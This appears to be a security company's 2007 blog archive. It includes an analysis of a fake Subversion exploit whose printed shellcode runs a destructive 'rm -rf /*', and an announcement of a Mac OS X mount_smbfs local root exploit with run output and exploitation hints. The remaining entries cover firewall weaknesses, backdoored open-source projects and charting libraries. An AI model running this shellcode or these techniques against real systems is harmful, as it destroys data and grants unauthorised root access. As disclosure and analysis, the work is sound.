Entries from December 2007 ↓

Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already seems enough dubious):

/*
 * This exploits a wierd state condition in Subversion < = 1.4.4.
 * When the incoming connection stack is filled via many incoming
 * syns in concurance with shifting the rev_ptr struct over a
 * variable gap of memory a boundary condition occurs which corrupts
 * a func ptr to point several bytes backwards. A call is forced
 * through "checkout-latest-rev" with our shellcode in place.
 *
 * This Vuln is NOT public, do NOT release this code or any
 * information pertaining to this bug.
 *
 * Author: onionring
 */

Behind a serious sounding description, there’s really nothing technically valid. It’s just “mumbo jumbo” to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).

We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):

char sc[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
  "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
  "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
  "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
  "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
  "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
  "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
  "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
  "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
  "\x04\x0B\xCD\x80";

Let’s take a look over the disassembly and strings. We notice a call to the signal() system call:

From include/asm-i386/unistd.h
#define __NR_signal              48

From include/asm-generic/signal.h
/* ignore signal */
#define SIG_IGN ((__force __sighandler_t)1)

From include/asm-i386/signal.h
#define SIGHUP           1

00000030  31C0              xor eax,eax
00000032  89C3              mov ebx,eax
00000034  89C1              mov ecx,eax
00000036  41                inc ecx
00000037  B030              mov al,0x30
00000039  CD80              int 0x80

Continue reading →

We are happy to announce the availability of a 100% reliable exploit against CVE-2007-3876, the mount_smbfs argument stack-based buffer overflow. Using the shared_region_map_file_np() system call, we map a file containing shellcode at a fixed location, with write, read and execute permissions (VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE). This technique was first documented publicly in a Phrack article by nemo, and has been partially restricted in Leopard.
On an unpatched Mac OS X 10.4 installation (only without the update fixing this problem) it will allow any user to gain root privileges.

$ ./mount_smbfs_root
Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit
Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
Mapping shellcode from file via shared_region_map_file_np()...
Shellcode mapped: mapping starts at 0x9ffff000, shellcode at 9fffff71
Payload size: 1064 (1040 padding bytes), Return address: 0x9fffff71
mount_smbfs: workgroup name 'AAAA...'
malcomx:/Users/nonpriv root# id
uid=0(root) gid=501(nonpriv) groups=501(nonpriv), 81(appserveradm), 79(appserverusr), 80(admin)
malcomx:/Users/nonpriv root# exit
exit

It is available at our corporate public repository, as well as the Milw0rm website.

• Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit (At Subreption public repository)
• Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit (Mirror)
• The original Ruby proof of concept: mount_smbfs_root.rb

Starting January 2008, our focus will be set on the development and polishing of a commercial exploit code and penetration-testing toolset, comprising several reliable exploits and tools to aid security professionals in penetration-tests, IDS and HIPS developers, as well as serving as an educational resource on exploit techniques, IDS evasion and general information security for the Mac OS X, Solaris, Linux and Microsoft Windows platforms, from a strictly technical perspective.

We are interested on partnerships with prospective security vendors and especially companies with strong focus on research and a consistent record of developing innovative, technically complex security work. For more information, you can contact us at . We will carefully examine all offers on a case-by-case basis.

Who doesn’t remember those old root setuid binaries with argument parsing stack buffer overflows, the days when sudo had trivially exploitable vulnerabilities and system administrators panicked at the sight of any setuid binary after a some advisory showed up on BUGTRAQ. Apple had its share of bad luck with one of the latest Security Updates for Mac OS X. But it’s 2007, approaching 2008 already, not 1997!

Apparently, a regression was introduced into Tiger via one of the updates (in previous audits we didn’t find this binary to be affected by this vulnerability), and made the mount_smbfs root-setuid binary vulnerable to a trivially exploitable stack-based buffer overflow, which allows (root) privilege escalation for any user on the system.

The condition triggers when an overly long string is passed as parameter to the -W (workgroup name) option. Depending on how many registers you require, the padding size is approximately 1040+16 bytes for x86, to overwrite eip.

One of the requirements to abuse this issue properly is doing a setuid(0) call, in order to make the root privileges effective. There are different possibilities to successfully exploit this issue:

• Control eax, return to setuid(), with saved eip pointing at system() and argument set to shell of choice (ie. use the SHELL environment variable value).
• Find a stable or almost stable location for your shellcode on dynamically allocated memory (in this case, heap memory). This might be tricky for this specific issue, since we are calling a command line tool that does very little use of malloc().
  • You might notice some data replication in a MALLOC_LARGE section… it could be in Unicode format.
  • Play with sending large arguments to the command line, any changes?
• As we explained in previous posts, on PowerPC you don’t need to worry about bypassing NX stack: the stack is executable by default. It can’t be easier.

Apple definitely needs to deploy some sort of Secure Development Lifecycle. Not because it was popularized by Microsoft, not because we want a cheap shot at Apple, but because it simply works. And we don’t agree with some security practices at Microsoft as well (namely the ASLR of Vista; while it’s more solid than Leopard’s, it’s still not enough for many real world scenarios — for in-depth documentation on the ASLR concept, read its PaX project documentation).

Don’t call it SDL. Make it the “Apple Secure Development iLifecycle”. But please, security updates also need to be tested against a regression test suite! We really enjoy using iWorks 2008 but we don’t like vulnerable root-setuid binaries.

After taking a look over the Mac OS X firewall (which has been criticized by several people already), we’ve detected several weaknesses (which could be considered design flaws, although abusing them is technically feasible and uncomplicated):

1. There’s no protection against process-level threats: code injection and subverting processes already trusted by the firewall are completely possible.
   1. There has been research in other platforms about the implications of injecting code in the context of a trusted process to bypass the firewall (see Advanced Windows Firewall Subversion, also Phrack 62: Using Process Infection to Bypass Windows Software Firewalls).
      1. Mac OS X has several interfaces allowing process interaction at low-level.
      2. Ability to load code dynamically is present for all processes in the system.
      3. Apparently, runtime code manipulation wasn’t contemplated by Apple as a potential security issue.
         1. No integrity checks done, signing a binary image is not enough if it can be tampered on memory later!
2. It works on communication direction basis: inbound, outbound. No way to control what happens in a fine-grained manner.
   1. The Ruby, Python or Perl interpreters bind a socket to listen for connections, and you allow it through the firewall. What’s wrong with that?
      1. Metasploit includes PHP payloads: remote access with the privileges of the user running the interpreter.
      2. Any script will be able to perform network operations within the limits of the firewall configuration: by default, allow incoming connections.
         1. In other words, an attacker will be able to trivially bypass the firewall using a script interpreter like Ruby.

We are working towards developing a proof of concept demonstrating these issues (and other nice tricks) in technical detail; until that happens, stay tuned and enjoy the Christmas holidays

Every now and then, the news talk about some Open Source software package that has been compromised (as in backdoored: tampered to include code or functionality that opens its users to abuse from third-parties). A few days ago it was SquirrelMail, in March it was the massively extended Wordpress blogging software.

• Hackers plant backdoor in blogging software, at The Register
• Intruder adds back door to WordPress blog software, at ZDNet
• WordPress Distribution Compromised, Update Released, at Netcraft
• Attacker adds backdoor to WordPress blog software, at ITWire

In 2003, the Linux kernel itself experienced a compromise that resulted in a very subtle, discreet backdoor added to the source code of the sys_wait4() function, which allowed privilege escalation to gain root level access. Debian, GNU Project and Gentoo servers and distribution sites have been targets of successful attacks, and the CVS project server was attacked in 2004. Recently, Ubuntu community-hosted servers were compromised as well.

In 2002, IRSSI (the IRC client) and several network security tools hosted at Monkey.org were modified to contain backdoors that activated during compilation time.

All your base are belong to us.

Some languages are more prone to be subtly manipulated for implementing hostile functionality: C conditional statements and variable assignment, incorrect use of operators… in PHP we have the preg_replace function and other possibilities. Also some object oriented languages allow class methods and functions to be intercepted easily, like Objective-C.

In the Linux kernel case, it could have been well identified as a typo. The fact that there are sophisticated attackers out there, who inspect and dive into the target before making the definitive move, is certainly not a common threat. In the words of the BitMover founder, Larry McVoy (in an article for SecurityFocus):

“Whoever did this knew what they were doing. They had to find some flags that could be passed to the system without causing an error, and yet are not normally passed together… There isn’t any way that somebody could casually come in, not know about UNIX, not know the Linux kernel code, and make this change. Not a chance.”

The security industry itself is normally driven by trends, and nowadays the trend is about defacements, unsophisticated attacks and propaganda tools. The real threats aren’t botnets or Brazilian defacement script-kiddies.

One of the main disadvantages that affect open source projects, is the fact that their development resources are far more exposed than those of proprietary vendors. It’s easy to audit the software powering their version controlled repository, their issue and bug tracking application, their mail server daemon (hopefully it’s Qmail!), etc. While closed source applications are also exposed in other manners, an open source project depends entirely on an open development model which has its own (security) weaknesses.

There’s no real way to enforce legal obligations and rights for each developer (the insider threat: a rogue developer adding a backdoor himself), without making agreements and other paperwork effective.

We said we would roll out articles about our (Rails) Content Management System project and this is one of the very first, exposing our difficulties and decisions about deploying an usable, yet fancy charting functionality.

We won’t spoil the surprise about the name of the project, yet.

The Quest

Finding a free, open source and (if possible) BSD or LGPL licensed library implementing chart and graphing functionality. We want to avoid licensing hell as much as we want to avoid bloated interfaces that obscure the statistical data more than abstracting it properly.

Requirements

1. Capable of displaying technically complex data sets.
2. Good performance: it must escalate well! (as much as we designed our product to do so).
   1. Efficient cache and server-side solution or browser supported implementation (ie. SVG based).
3. Non-bloated, elegant code: we want to modify it and understand what’s going on.
4. Usable, simplistic interface (API): we hate working with an over complicated API.
5. Nice, fancy, yet-not overly design-ish graphs:
   1. Experience shows that complicated graphs do nothing to improve the visibility of statistical data: better divide by many, than squeeze many in a few.
   2. Simple graphs and clean shapes are far more smooth and pleasing to the eye (Isn’t the whole rounded corner spice about this anyway?).
   3. The more complex the data-set, the more simple a graph should be. The density of data displayed will be high and adding unnecessary fuss will just get in way of interpreting it properly.
6. Non-hosted solution: we can’t afford the risk of exposing customer or sensitive information to external hosts and services. We could do exceptions for publicly obtained data, but definitely not the internal information.

Continue reading →